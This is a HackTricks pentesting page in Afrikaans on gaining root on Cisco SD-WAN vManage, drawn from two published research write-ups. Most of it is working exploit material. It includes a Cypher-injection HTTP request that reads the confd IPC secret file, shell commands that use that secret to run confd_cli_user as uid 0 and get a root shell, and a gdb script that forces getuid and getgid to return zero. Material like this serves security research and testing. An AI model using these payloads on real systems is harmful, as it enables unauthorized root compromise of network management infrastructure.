Cisco - vmanage

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Pad 1

(Voorbeeld van https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

Na ’n bietjie delf in sommige documentation verwant aan confd en die verskillende binaries (toeganklik met ’n rekening op die Cisco-website), het ons gevind dat dit, om die IPC-sok te verifieer, ’n geheim gebruik wat in /etc/confd/confd_ipc_secret geleë is:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

Onthou ons Neo4j-instantie? Dit hardloop onder die vmanage gebruiker se privilegies, wat ons toelaat om die lêer met behulp van die vorige kwesbaarheid te verkry:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

Die confd_cli program ondersteun nie command line arguments nie maar roep /usr/bin/confd_cli_user met argumente aan. Daarom kan ons direk /usr/bin/confd_cli_user oproep met ons eie stel argumente. Dit is egter nie leesbaar met ons huidige regte nie, so ons moet dit uit die rootfs haal en dit kopieer met scp, lees die help, en dit gebruik om die shell te kry:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

Pad 2

(Voorbeeld van https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

Die blog¹ deur die synacktiv-span beskryf ’n elegante manier om ’n root shell te kry, maar die nadeel is dat dit vereis om ’n kopie van die /usr/bin/confd_cli_user te bekom wat slegs deur root geleesbaar is. Ek het ’n ander manier gevind om na root te eskaleer sonder so ’n gedoente.

Toe ek die /usr/bin/confd_cli binêre ontleed, het ek die volgende opgemerk:

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run